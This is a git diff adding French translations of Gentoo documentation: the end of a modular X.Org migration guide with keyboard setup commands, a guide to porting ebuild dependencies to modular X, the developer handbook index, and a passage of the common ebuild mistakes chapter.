+<comment>(Si vous avez xkbdata à la place de xkeyboard-config,
+passez dans le sous-répertoire pc/)</comment>
+# <i>ls *dvorak*</i>
+<comment>(OK, il n'y a rien.)</comment>
+<comment>(De nombreuses vieilles dispositions ont été renomées avec le code du pays.)</comment>
+# <i>ls *us*</i>
+ us
+<comment>(Ensuite, on cherche une variante xkb_symbols qui s'appelle dvorak.)</comment>
+# <i>grep xkb_symbols.*dvorak us</i>
+ xkb_symbols "dvorak" {
+<comment>(Cela signifie qu'il faut Option "XkbLayout" "us"
+et Option "XkbVariant" "dvorak" dans xorg.conf.)
+
+(Mais lorsqu'on essaie avec setxkbmap, on obtient encore une erreur:)</comment>
+# <i>setxkbmap -model logibik -layout us -variant dvorak -option "ctrl:swapcaps"</i>
+<comment>(Peut-être que le modèle a aussi changé.)</comment>
+# <i>cd /usr/share/X11/xkb/rules/</i>
+# <i>grep logibik xorg.lst</i>
+<comment>(Pas de retour, il n'existe donc plus. Y en a-t-il des similaires ?)</comment>
+# <i>grep logi* xorg.lst</i>
+ logiaccess      Logitech Access Keyboard
+ logicdit        Logitech Cordless Desktop iTouch
+ logicdp         Logitech Cordless Desktop Pro
+ logicdpa        Logitech Cordless Desktop Pro (alternate option)
+ logicdpa2       Logitech Cordless Desktop Pro (alternate option2)
+ logicdo         Logitech Cordless Desktop Optical
+ logicfn         Logitech Cordless Freedom/Desktop Navigator
+ logicdn         Logitech Cordless Desktop Navigator
+ logidak         Logitech Deluxe Access Keyboard
+ logiitc         Logitech iTouch Cordless Keyboard (model Y-RB6)
+ logiik          Logitech Internet Keyboard
+ logiitc         Logitech iTouch Cordless Keyboard (model Y-RB6)
+ logiik          Logitech Internet Keyboard
+ logiink         Logitech Internet Navigator Keyboard
+ logiultrax      Logitech Ultra-X Keyboard
+<comment>(Génial !
+Le modèle « logiik » semble similaire, essayons-le donc avec setxkbmap.)</comment>
+# <i>setxkbmap -model logiik -layout us -variant dvorak -option "ctrl:swapcaps"</i>
+<comment>(Ça marche, donc faites correspondre la valeur de XkbModel.
+Maintenant, tout fonctionne)</comment>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Autres problèmes</title>
+<body>
+
+<ul>
+  <li>
+    Le paquet <c>x11-base/xorg-x11</c> filtre maintenant tous les ModulePath et
+    RgbPath de votre <path>/etc/X11/xorg.conf</path>, puisque ces deux chemins
+    ont changé depuis les versions précédentes. Assurez-vous de lancer
+    <c>etc-update</c> pour que ces modifications prennent effet. Si vous
+    remarquez que ces lignes n'ont pas été supprimées automatiquement,
+    enlevez-les manuellement.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/fr/desktop/x/x11/porting-modular-x-howto.xml b/xml/htdocs/proj/fr/desktop/x/x11/porting-modular-x-howto.xml
new file mode 100644
index 00000000..bfb1b4d4
--- /dev/null
+++ b/xml/htdocs/proj/fr/desktop/x/x11/porting-modular-x-howto.xml
@@ -0,0 +1,307 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/desktop/x/x11/porting-modular-x-howto.xml,v 1.6 2007/04/03 09:51:01 cam Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/fr/desktop/x/x11/porting-modular-x-howto.xml" lang="fr">
+<title>Porter un ebuild vers X modulaire</title>
+
+<author title="Auteur">
+  <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+<author title="Traducteur">
+  <mail link="koppatroopa@yahoo.fr">Bertrand Coppa</mail>
+</author>
+
+<abstract>
+Ce guide vous explique comment porter les paquets pour qu'ils utilisent la
+nouvelle version modulaire de X.Org.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2006-01-03</date>
+
+<chapter>
+<title>Environnement</title>
+
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+Vous vous demandez surement pourquoi changer un simple et unique paquet
+xorg-x11 en environ 300 paquets séparés. Cela est justifié.  Ce n'est pas
+Gentoo qui a fait ce choix indépendament du projet X.Org&nbsp;; ce sont leurs
+développeurs qui ont décidé de séparer tous ces paquets, et nous ne faisons que
+suivre.
+</p>
+
+<p>
+Vous pouvez lire les détails à ce sujet dans le <uri
+link="modular-x-howto.xml#doc_chap1_sect1"> Guide de migration vers X.Org
+modulaire</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Contrôle des dépendances</title>
+<section>
+<body>
+
+<p>
+Nous voulons énumerer les dépendances aussi finement que possible afin que les
+les gens n'aient pas plein de paquets inutiles (p.ex. XPrint) qui traînent sur
+leur système. On veut donc dépendre directement des paquets qui contiennent les
+bibliothèques et les fichiers d'en-tête dont on a besoin plutôt que de
+n'importe quel paquet virtuel.
+</p>
+
+<p>
+Aussi, nous ne pouvons guarantir que les gens auront toujours des sous-paquets
+installés parce qu'ils ont un méta-paquet installé et éliminer cette
+possibilité de problème nous fera gagner beaucoup de temps qui serait perdu à
+marquer les bogues «&nbsp;INVALID&nbsp;».
+</p>
+
+<p>
+Si je trouve un seul paquet dépendant sur n'importe quel méta-paquet possible,
+je n'hésiterai pas à harasser son mainteneur jusqu'à la fin des temps.
+</p>
+
+<p>
+La première étape est d'installer X modulaire ou de trouver quelqu'un qui l'a
+installé. Cela peut être effectué dans un chroot -- il n'est pas nécessaire que
+X soit lancé, il faut seulement avoir ses fichiers disponibles pour le
+contrôle des dépendances.
+</p>
+
+<pre caption="Obtenir les scripts nécessaires">
+$ <i>wget http://dev.gentoo.org/~dberkholz/scripts/linking_libs.sh \
+  http://dev.gentoo.org/~dberkholz/scripts/included_headers.sh \
+  http://dev.gentoo.org/~betelgeuse/scripts/deputils/checkdeps.rb \
+  http://dev.gentoo.org/~betelgeuse/scripts/deputils/pkgutil.rb</i>
+</pre>
+
+<impo>
+<e>Ne pas</e> utiliser <c>gentoolkit-0.2.1_pre9</c>, cela donne des sorties
+invalides. Consultez <uri>https://bugs.gentoo.org/show_bug.cgi?id=111501</uri>.
+</impo>
+
+<p>
+Le premier script, <c>linking_libs.sh</c>, contrôle un journal de compilation
+de votre paquet pour vérifier toutes les bibliothèques dont il est fait
+référence et affiche les noms des paquets auxquels appartiennent ces
+bibliothèques. Vous pouvez obtenir un journal de compilation, vous devriez soit
+définir la variable PORT_LOGDIR dans le fichier <path>/etc/make.conf</path>,
+soit rediriger l'affichage vers un fichier.
+</p>
+
+<pre caption="Exécuter linking_libs.sh pour le paquet gdm">
+$ <i>ls /var/log/portage/*gdm* -l</i>
+-rw-r--r-- 1 root portage 556551 2006-01-09 11:41 /var/log/portage/8430-gdm-2.8.0.7.log
+-rw-r--r-- 1 root portage    855 2006-01-09 11:42 /var/log/portage/8431-gdm-2.8.0.7.log
+$ <i>linking_libs.sh /var/log/portage/8430-gdm-2.8.0.7.log</i>
+</pre>
+
+<p>
+Le second script, <c>included_headers.sh</c>, scanne le code source de votre
+paquet à la recherche de lignes commençant par #include et extrait les noms des
+fichiers inclus entre &lt;&gt;. Depuis le 9 septembre 2005, cela marche aussi
+pour les inclusions de type "".
+</p>
+
+<p>
+Le troisième script, <c>checkdeps.rb</c>, scanne les fichiers installés par un
+paquet en utilisant <c>scanelf</c>, obtenu avec pax-utils. C'est
+particulièrement utile pour les paquets binaires ou les paquets qui cachent la
+sortie du compilateur. C'est un script Ruby, donc il nécessite dev-lang/ruby en
+plus de app-misc/pax-utils. Le quatrième script, <c>pkgutil.rb</c>, est une
+dépendance de <c>checkdeps.rb</c>.
+</p>
+
+<p>
+Lancer les deux premiers scripts devrait vous donner une bonne liste de paquets
+pour RDEPEND (pour les bibliothèques) et DEPEND (fichiers d'en-tête et
+bibliothèques). Si une bibliothèque appartenant à RDEPEND n'appartient pas à
+DEPEND, vous devriez vous méfier&nbsp;: cela pourrait être une «&nbsp;fausse
+dépendance&nbsp;», c-à-d. une bibliothèque liée sans raison. Un exemple connu
+de dépendance de ce type est libXt&nbsp;; de nombreux paquets cherchent les
+fichiers d'en-tête de libXt lorsqu'ils cherchent X.
+</p>
+
+<p>
+Parfois, la recherche de fichiers d'en-tête relatifs de
+<c>included_headers.sh</c> trouvera de mauvais fichiers, car il certains ont
+des nom identiques et, du coup, il renverra un mauvais paquet. En général,
+l'erreur est assez visible, comme par exemple quand les fichiers d'en-tête
+Windows font donner app-emulation/wine comme dépendance.
+</p>
+
+<p>
+Si vous spécifiez l'option <c>-d</c>, il arrivera parfois qu'une bibliothèque
+ou qu'un fichier d'en-tête soit noté «&nbsp;Not found!&nbsp;». Cela peut
+vouloir dire que vous avez désinstallé un fichier d'en-tête dont un paquet a
+besoin depuis que vous l'avez compilé, ou bien que c'est un fichier optionnel
+que vous n'utilisez pas. Dans le cas d'une bibliothèque, cela peut vouloir dire
+que vous l'avez désinstallée ou bien que c'était seulement une bibliothèque
+statique compilée en interne qui n'a jamais été installée.
+</p>
+
+<p>
+Cela vaut le coup de passer le temps nécessaire pour savoir si les
+bibliothèques ou les fichiers d'en-tête non-trouvés doivent être ajouter à la
+liste des dépendances, particulièrement dans le cas des fichiers d'en-tête car
+on n'a pas besoin d'avoir ces fichiers installés pour lancer le scanner.
+</p>
+
+<p>
+Dans certains cas, les paquets ont besoin d'un serveur X réel quelconque.  Mais
+s'il ne le demande pas lors de l'installation, je vous encourage à ne pas le
+mettre dans RDEPEND. Cela pose problème avec les installations de X sur des
+machines sans écran, pour lesquelles les programmes tournent sur une autre
+machine et n'ont donc besoin que de bibliothèques et de fichiers d'en-tête
+locaux.
+</p>
+
+<p>
+Il y a déjà un bon nombre de serveurs X dans l'arbre, donc si vous avez besoin
+d'un serveur X, veuillez tous les inclure. Les serveurs pour X modulaire sont
+dans xorg-server&nbsp;;il y a un serveur DirectFB (xdirectfb)&nbsp;; kdrive
+fournit des serveurs X légers&nbsp;; et bien sûr, les vieux  &lt;xorg-x11-7.
+Spécifiez les restrictions de versions pour xorg-x11 pour être sûr d'avoir un
+serveur X et pas un méta-paquet. Dans un futur proche, je prévois que kdrive va
+devenir xserver. Si vous avez réellement besoin d'un xserver, veuillez
+contacter un membre de l'équipe chargée de X. S'il y aun nombre suffisant de
+paquets demandant un xserver, il se peut qu'un «&nbsp;virtual&nbsp;» soit créé.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Structure de dépendance</title>
+<section>
+<body>
+
+<p>
+Sur le fait d'ajouter les dépendances -- on veut une structure comme
+celle-ci&nbsp;:
+</p>
+
+<pre caption="Structures RDEPEND/DEPEND">
+RDEPEND="|| ( ( x11-libs/libXfoo
+      x11-libs/libXbar
+      blah? ( x11-libs/libXblah )
+      tout ce qui s'affiche d'autre lors du test de bibliothèque
+    )
+    virtual/x11
+  )
+
+DEPEND="${RDEPEND}
+  || ( ( x11-proto/fooproto
+      blah? ( x11-proto/blahproto )
+      tout ce qui est affiché par les deux scripts
+    )
+    virtual/x11
+  )
+</pre>
+
+<impo>
+Certains résultats fournis par les scripts <e>seront</e> redondants. Si le
+RDEPEND d'une bibliothèque en inclut une autre, il n'est pas nécessaire de les
+mettre les deux en dépendances. Si le DEPEND d'une bibliothèque contient un
+prototype, il <e>faut</e> le mettre dans la liste des dépendances du paquet.
+Les candidates prévisibles pour les bibliothèques présentes dans beaucoup
+d'autres sont <c>libXaw</c>, <c>libXmu</c>, <c>libXpm</c>, <c>libXcursor</c>,
+<c>libXt</c>. Faites simplement un <c>emerge -ep $library | grep lib[SIX]</c>.
+N'oubliez pas non plus que d'autres paquets comme <c>gtk+</c> ont été portés
+pour les dépendances modulaires, donc ils peuvent fournir les bibliothèques
+nécessaires.
+</impo>
+
+<note>
+Deux options distinctes de la variable USE installeront X, mais l'une n'est pas
+dépendante de l'autre. Dans ce cas là, il faut soit dupliquer la section de
+dépendance vers X, soit la définir ailleurs et l'inclure en tant que
+${X_DEPEND}. Si elle est définie ailleurs, n'oubliez pas d'inclure aussi les
+portions spécifiques à chaque option USE.
+</note>
+
+<p>
+Le but ici est de faire du nouveau X modulaire l'option par défaut, mais de
+permettre aux gens de satisfaire les dépendances avec l'ancien paquet
+monolithique xorg-x11. Nous abandonnons complètement virtual/x11 afin
+d'encourager l'énumération des dépendances réelles.
+</p>
+
+<p>
+Pour la première action sur l'arbre, l'effort de portage se focalise uniquement
+sur les ebuilds les plus récents disponibles en ~arch, et tout ce qui est 
+encore plus récent (KEYWORDS=-* ou package.mask). Les mainteneurs de paquets
+pourront choisir ce qu'il en est pour leurs paquets&nbsp;: soit ils remplacent
+les paquets pas encore portés au fur et à mesure, soit ils porteront tous leurs
+paquets à la fois, ce qui est plus probable. Bientôt, Repoman n'acceptera plus
+aucun paquet ayant une dépendance pour virtual/x11.
+</p>
+
+<impo>
+Cela devrait permettre aux utilisateurs dits ~arch d'utiliser le X modulaire
+par défaut tout en envoyant les utilisateurs dits stables vers virtual/x11.
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gérer les options de la variable USE</title>
+<section>
+<body>
+
+<p>
+La plupart des gens n'a pas activé l'option xinerama de la variable USE. Donc,
+si x11-proto/xineramaproto est affiché comme une dépendance lorsque vous lancez
+<c>included_headers.sh</c>, il vous faut l'ajouter à DEPEND en correspondance
+avec l'option USE xinerama et ajouter x11-libs/libXinerama à RDEPEND, là aussi
+en correspondance avec l'option USE xinerama.
+</p>
+
+<p>
+Caleb a soulevé un point intéressant&nbsp;: comment gérer toutes les options
+USE sur les paquets qui ont des tonnes de dépendances optionnelles vers des
+bibliothèques X&nbsp;? Dans de nombreux cas, ce sera une bonne méthode que de
+toujours forcer les options dans un état donné. Aussi, vous pouvez rendre cela
+plus facile en groupant les options. Assurez-vous de nommer les options par
+leurs fonctions et non pas par les bibliothèques ou les paquets qu'elles
+utilisent.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Faire entrer vos corrections dans l'arbre</title>
+<section>
+<body>
+
+<p>
+Si vous êtes développeur, soumettez-les. Sinon, remplissez un nouveau rapport
+de bug, assignez-le aux mainteneurs du paquet (disponible dans le fichier
+metadata.xml).  Faites-le bloquer le bogue <uri
+link="http://bugs.gentoo.org/112675">#112675</uri>.  Attachez-y un correctif
+pour corriger les dépendances.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/fr/devrel/handbook/handbook.xml b/xml/htdocs/proj/fr/devrel/handbook/handbook.xml
new file mode 100644
index 00000000..d571a53d
--- /dev/null
+++ b/xml/htdocs/proj/fr/devrel/handbook/handbook.xml
@@ -0,0 +1,300 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+
+<!-- $Header -->
+
+<book link="handbook.xml" lang="fr">
+<title>Manuel du développeur Gentoo</title>
+
+<!-- HOWTO Ebuilds -->
+<author title="HOWTO Ebuilds - Auteur">
+  Donny Davies<!-- N'est plus développeur ; unknown@... -->
+</author>
+<author title="Auteur">
+  <mail link="pete@gentoo.org">Peter Gavin</mail>
+</author>
+<author title="Auteur">
+  <mail link="karltk@gentoo.org">Karl Trygve Kalleberg</mail>
+</author>
+<author title="Auteur">
+  <mail link="vapier@gentoo.org">Mike Frysinger</mail>
+</author>
+<author title="Auteur/Relecteur">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Auteur/Relecteur"><!-- zhen@gentoo.org -->John P. Davis</author>
+<author title="Relecteur">
+  <mail link="peesh@gentoo.org">Jorge Paulo</mail>
+</author>
+<author title="Relecteur">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Relecteur">
+  <mail link="klasikahl@gentoo.org">Zack Gilburd</mail>
+</author>
+<author title="Relecteur">
+  <mail link="bennyc@gentoo.org">Benny Chuang</mail>
+</author>
+
+<author title="Relecteur">
+  <mail link="erwin@gentoo.org">Erwin</mail>
+</author>
+
+<!-- :: HOWTO EClass -->
+
+<!-- Zhen cité plus haut... -->
+<author title = "HOWTO Eclass - Autheur">
+  <mail link="danarmak@gentoo.org">Dan Armak</mail>
+</author>
+
+<!-- :: Erreurs classiques -->
+
+<author title="Erreurs Classiques pour les ebuilds - Auteur">
+  <mail link="liquidx@gentoo.org">Alastair Tse</mail>
+</author>
+  
+<!-- :: Metadata -->
+
+<!-- SwifT cité plus haut... -->
+<author title="Documentation Metadata - Auteur">
+  <mail link="pauldv@gentoo.org">Paul De Vrieze</mail>
+</author>
+
+<!-- Politique des Ebuild -->
+
+<author title="Politique générale concernant les ebuilds - Auteur">
+  Owen Stampflee
+</author>
+<author title="Relecteur">
+  <mail link="seemant@gentoo.org">Seemant Kulleen</mail>
+</author> 
+<author title="Relecteur">
+  <mail link="avenj@gentoo.org">Jon Portnoy</mail>
+</author>
+<author title="Relecteur">
+  <mail link="carl@gentoo.org">Carl Anderson</mail>
+</author>
+
+<author title="Correcteur">
+  <mail link="ciaranm@gentoo.org">Ciaran McCreesh</mail>
+</author>
+
+<author title="Correcteur">
+  <mail link="blackace@gentoo.org">Nicholas D. Wolfwood</mail>
+</author>
+
+<author title="Correcteur">
+  <mail link="genone@gentoo.org">Marius Mauch</mail>
+</author>
+
+<author title="Correcteur">
+  <mail link="dragonheart@gentoo.org">Daniel Black</mail>
+</author>
+
+<author title="Auteur/Relecteur">
+  <mail link="plasmaroo@gentoo.org">Tim Yamin</mail>
+</author>
+
+<author title="Correcteur">
+  <mail link="amne@gentoo.org">Wernfried Haas</mail>
+</author>
+
+<author title="Relecteur">
+  <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+</author>
+
+<author title="Relecteurs">
+  L'équipe relationnelle des développeurs Gentoo
+</author>
+
+<author title="Traducteur">
+  <mail link="clement@varaldi.org">Clément Varaldi</mail>
+</author>
+<author title="Traducteur">
+  <mail link="neysx@gentoo.org">Xavier Neys</mail>
+</author>
+  
+<abstract>
+Ceci est le manuel destiné aux développeurs Gentoo, un effort continu pour
+centraliser les politiques de développement sur l'ensemble du projet Gentoo. Il
+contient également un certain nombre de procédures et de mécanismes de
+développement de Gentoo.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>1.0.2</version>
+<date>2004-12-05</date>
+
+<part>
+<title>Introduction</title>
+
+<abstract>
+Cette partie couvre l'ensemble des aspects qui s'appliquent à la plupart des
+domaines de développement de Gentoo. Cette section est surtout intéressante si
+vous êtes développeur Gentoo. Dans les autres cas, vous n'apprendrez pas grand
+chose d'intéressant en la lisant.
+</abstract>
+
+<chapter>
+<title>Introduction</title>
+<abstract>
+Cette section indique l'ensemble des objectifs que se donne le manuel pour
+développeurs Gentoo.
+</abstract>
+
+<include href="hb-introduction.xml"/>
+</chapter>
+
+<chapter>
+<title>Devenir développeur</title>
+<abstract>
+Ce chapitre essaie d'expliquer comment devenir développeur pour le projet
+Gentoo.
+</abstract>
+
+<include href="hb-introduction-becoming-a-dev.xml"/>
+</chapter>
+
+<chapter>
+<title>Ce qui est mis à disposition</title>
+<abstract>
+Cette section présente l'ensemble des services mis à la disposition des
+développeurs.
+</abstract>
+
+<include href="hb-introduction-whatyouget.xml"/>
+</chapter>
+
+<chapter>
+<title>Aide pour les nouveaux développeurs</title>
+<abstract>
+Cette section apporte de l'aide et un certain nombre d'instructions utiles pour
+les nouveaux développeurs Gentoo.
+</abstract>
+
+<include href="hb-introduction-new-devs.xml"/>
+</chapter>
+
+<chapter>
+<title>La hiérarchie des développeurs</title>
+<abstract>
+Cette section présente la hiérarchie des développeurs Gentoo et du
+développement lui-même.
+</abstract>
+
+<include href="hb-introduction-hierachy.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>Guides</title>
+<abstract>
+Cette section présente et explique les différents processus de développement et
+propose des standards à suivre par les développeurs Gentoo.
+</abstract>
+
+<chapter>
+<title>Guide pour les ebuilds</title>
+<abstract>
+Cette section décrit le système Portage de Gentoo, comment créer des nouveaux
+paquets pour Gentoo. Il doit également être vu par les développeurs comme un
+standard. Ce document est en constante évolution et est mis à jour et modifié
+régulièrement. Vous devez utiliser ce document comme un complément aux pages
+man proposées par Portage (et tout particulièrement ebuild(5)) et aux
+politiques de développement de Gentoo.
+</abstract>
+
+<include href="hb-guide-ebuild.xml"/>
+</chapter>
+
+<chapter>
+<title>Guide pour les eclass</title>
+<abstract>
+Cette section propose aux développeurs un guide qui détaille le fonctionnement
+des eclass et comment ils peuvent être appliqués aux ebuilds.
+</abstract>
+
+<include href="hb-guide-eclass.xml"/>
+</chapter>
+
+<chapter>
+<title>Erreurs classiques dans les ebuilds</title>
+<abstract>
+Cette section explique les erreurs fréquentes que l'on rencontre lors de
+l'écriture et la soumission d'ebuilds faits par des développeurs ou des
+contributeurs.
+</abstract>
+
+<include href="hb-guide-common-mistakes.xml"/>
+</chapter>
+
+<chapter>
+<title>Gentoo Metadata</title>
+<abstract>
+Cette section explique l'utilité et l'usage du fichier metadata.xml qui est
+utilisé dans l'arbre de Portage.
+</abstract>
+
+<include href="hb-guide-metadata.xml"/>
+</chapter>
+
+<chapter>
+<title>Guide de maintenance des ebuilds</title>
+<abstract>
+Cette section décrit comment les développeurs devraient réaliser les tâches
+communes lors de la maintenance des ebuilds dans l'arbre Portage.
+</abstract>
+
+<include href="hb-guide-ebuild-maintaining.xml"/>
+</chapter>
+
+<chapter>
+<title>Guide pour signer des modifications</title>
+<abstract>
+Cette section explique comment les développeurs peuvent signer des
+modifications dans l'arbre Portage en utilisant GPG.
+</abstract>
+
+<include href="hb-guide-manifest-signing.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>Les politiques</title>
+<abstract>
+Cette partie couvre l'ensemble des différentes politiques que doivent suivre les
+développeurs lors de la soumission d'éléments dans le CVS.
+</abstract>
+
+<chapter>
+<title>La politique concernant les ebuilds</title>
+<abstract>
+Cette section présente la politique qui s'applique aux ebuilds dans Portage.
+</abstract>
+
+<include href="hb-policy-ebuild.xml"/>
+</chapter>
+
+<chapter>
+<title>La politique concernant l'étiquette</title>
+<abstract>
+Cette section présente l'étiquette que doit suivre tout développeur Gentoo.
+</abstract>
+
+<include href="hb-policy-etiquette.xml"/>
+</chapter>
+</part>
+
+<!--
+<part>
+<title>Appendice 1 : Management</title>
+<abstract>
+Cette partie concerne les politiques de gestion et management pour Gentoo.
+</abstract>
+</part>
+-->
+
+</book>
diff --git a/xml/htdocs/proj/fr/devrel/handbook/hb-guide-common-mistakes.xml b/xml/htdocs/proj/fr/devrel/handbook/hb-guide-common-mistakes.xml
new file mode 100644
index 00000000..0ee958bd
--- /dev/null
+++ b/xml/htdocs/proj/fr/devrel/handbook/hb-guide-common-mistakes.xml
@@ -0,0 +1,423 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<sections>
+<section>
+<title>Erreurs communes dans les ebuilds</title>
+<subsection>
+<title>Introduction</title>
+<body>
+
+<p>
+On peut retrouver un certain nombre d'erreurs communes dans les ebuilds qui
+sont soumis par les utilisateurs. Assurez-vous que les ebuilds que vous
+soumettez ne possèdent aucune de ces erreurs. Avant de soumettre un ebuild,
+assurez-vous que vous avez bien lu la <uri link="?part=3&amp;chap=1">Politique
+de développement des ebuilds pour Gentoo</uri> et le <uri
+link="?part=2&amp;chap=1">Guide des ebuilds pour Gentoo</uri>. Lisez aussi
+quelques ebuilds (plus d'un ou deux) dans l'arbre de Portage pour connaître le
+style dans lequel les ebuilds sont écrits.
+</p>
+
+<p>
+Ensuite, il pourrait être utile de lire quelques ebuilds qui utilisent des
+eclass et comprendre comment les utiliser en lisant le <uri
+link="?part=2&amp;chap=2">Guide eclass</uri>. Finalement, vous devez lire le
+<uri link="/doc/fr/ebuild-submit.xml">Guide de contribution d'ebuilds</uri>
+soigneusement avant de soumettre vos ebuilds.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>En-tête cassé/invalide/manquant</title>
+<body>
+
+<p>
+Quand vous soumettez vos ebuilds, l'en-tête doit être <e>exactement</e> le même
+que celui de <path>/usr/portage/skel.ebuild</path>. Il est important de ne pas
+le modifier et de s'assurer que la ligne <c>&#36;Header: &#36;</c> est
+intacte.
+</p>
+
+<p>
+Les trois premières lignes <e>doivent</e> ressembler à celles-ci&nbsp;:
+</p>
+
+<pre caption="En-tête valide">
+# Copyright 1999-2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# &#36;Header: &#36;
+</pre>
+
+<p>
+Nous n'avez pas besoin de modifier la ligne <c>&#36;Header: &#36;</c> même si
+vous soumettez un ebuild pour une nouvelle version ou une correction. La ligne
+doit être présente. Quand on enregistre l'ebuild dans le CVS, cet en-tête sera
+modifié avec la version appropriée et la date. Il n'y a donc pas besoin de la
+modifier manuellement.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Non déclaration de IUSE</title>
+<body>
+
+<p>
+L'oubli le plus fréquent, et de loin, est la variable IUSE. Vous devez (selon le
+<uri link="?part=2&amp;chap=1">Guide des ebuilds pour Gentoo</uri>) inclure la
+variable IUSE, même si aucun paramètre USE n'est utilisé. S'il n'y en a aucun de
+supporté, ajoutez simplement la ligne suivante&nbsp;:
+</p>
+
+<pre caption="IUSE vide">
+IUSE=""
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>P, PV, PN, PF redéfinis</title>
+<body>
+
+<p>
+Vous ne devez jamais redéfinir ces variables. Utilisez toujours MY_P, MY_PN,
+MY_PV, P0, etc. Lisez d'autres ebuilds dans Portage qui utilisent cela pour plus
+d'informations. La plupart des ebuilds utilisent la fonctionnalité bash des
+«&nbsp;expansions de paramètres&nbsp;». Lire la page de manuel de bash pour
+comprendre comment elles fonctionnent.
+</p>
+
+<p>
+Soit dit en passant, si vous trouvez un paquet qui redéfinit une de ces
+variables, ne le copiez pas. Soumettez un bogue pour cet ebuild.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Inclure les numéros de version dans SRC_URI et S</title>
+<body>
+
+<p>
+Vous devez essayer d'éviter d'inclure les numéros de version dans les variables
+SRC_URI et S. Toujours essayer d'utiliser ${PV} ou ${P}. Cela facilite la
+maintenance de l'ebuild. Si un numéro de version n'est pas cohérent par rapport
+à l'archive/source, alors utilisez MY_P. Par exemple, dev-python/pyopenal
+récupère une archive nommée PyOpenAL, donc nous effectuons une redéfinition
+comme suit&nbsp;:
+</p>
+
+<pre caption="Exemple de redéfinition de version">
+MY_P=${P/pyopenal/PyOpenAL}
+SRC_URI="http://oomadness.tuxfamily.org/downloads/${MY_P}.tar.gz"
+S=${WORKDIR}/${MY_P}
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>DEPEND comporte des erreurs de syntaxe</title>
+<body>
+
+<p>
+Il y a plusieurs choses qui ne vont pas avec les variables DEPEND et RDEPEND
+soumis par des utilisateurs en général... Voici les points les plus importants
+à suivre lorsque vous écrivez la partie sur les dépendances.
+</p>
+
+<ul>
+  <li>
+    <e>Toujours inclure la catégorie</e><br/>
+    Par exemple, utilisez <c>&gt;=x11-libs/gtk+-2</c> et non <c>&gt;=gtk+-2</c>.
+  </li>
+  <li>
+    <e>N'utilisez pas d'astérisque (*) pour les dépendances en &gt;=.</e><br/>
+    Par exemple, on doit avoir <c>&gt;=x11-libs/gtk+-2</c> à la place de
+    <c>&gt;=x11-libs/gtk+-2*</c>.
+  </li>
+  <li>
+    <e>Spécifique à GTK&nbsp;: toujours utiliser =x11-libs/gtk+-1.2* pour les
+    applications GTK+1.</e>
+  </li>
+  <li>
+    <e>Ne jamais dépendre d'un paquet meta</e><br/>
+    Du coup, ne pas dépendre de gnome-base/gnome, mais toujours d'une
+    bibliothèque spécifique, comme libgnome.
+  </li>
+  <li>
+    <e>Une dépendance par ligne.</e><br/>
+    Ne mettez pas plusieurs dépendances sur la même ligne. Cela rend le code
+    plus difficile à lire et à suivre.
+  </li>
+</ul>
+</body>
+</subsection>
+
+<subsection>
+<title>DEPEND est incomplet</title>
+<body>
+
+<p>
+Voilà encore une erreur assez commune. La personne qui soumet l'ebuild le
+soumet, et l'ebuild fonctionne tout simplement, sans vérifier si les dépendances
+sont correctes. Voici quelques trucs pour trouver les bonnes dépendances.
+</p>
+
+<ul>
+  <li>
+    <e>Lisez les fichiers configure.in ou configure.ac</e><br/>
+    Lisez-les pour vérifier les paquets qui y sont inclus. Les éléments à
+    rechercher sont l'utilisation de pkg-config ou les fonctions AM_* qui
+    vérifient une version spécifique.
+  </li>
+  <li>
+    <e>Regardez les fichiers .spec inclus</e><br/>
+    Un bon indicateur des dépendances est de regarder dans les fichiers .spec
+    pour repérer des dépendances intéressantes. Cependant, ne vous y fiez pas
+    uniquement en pensant que ce sera une liste complète des dépendances.
+  </li>
+  <li>
+    <e>Lire le site Internet de l'application/la bibliothèque</e><br/>
+    Regardez sur le site de l'application pour repérer les dépendances qu'ils
+    suggèrent comme étant nécessaires.
+  </li>
+  <li>
+    <e>Lisez les fichiers README et INSTALL du paquet</e><br/>
+    Ils contiennent souvent des informations utiles sur comment construire et
+    installer les paquets.
+  </li>
+  <li>
+    <e>Souvenez-vous des dépendances non-binaires comme pkg-config, les
+    programmes de génération de documentation, etc.</e><br/>
+    Souvent, le processus de construction nécessite des dépendances comme
+    intltool, libtool, pkg-config, doxygen, scrollkeeper, gtk-doc, etc.
+    Assurez-vous que ces dépendances sont bien respectées.
+  </li>
+</ul>
+</body>
+</subsection>
+
+<subsection>
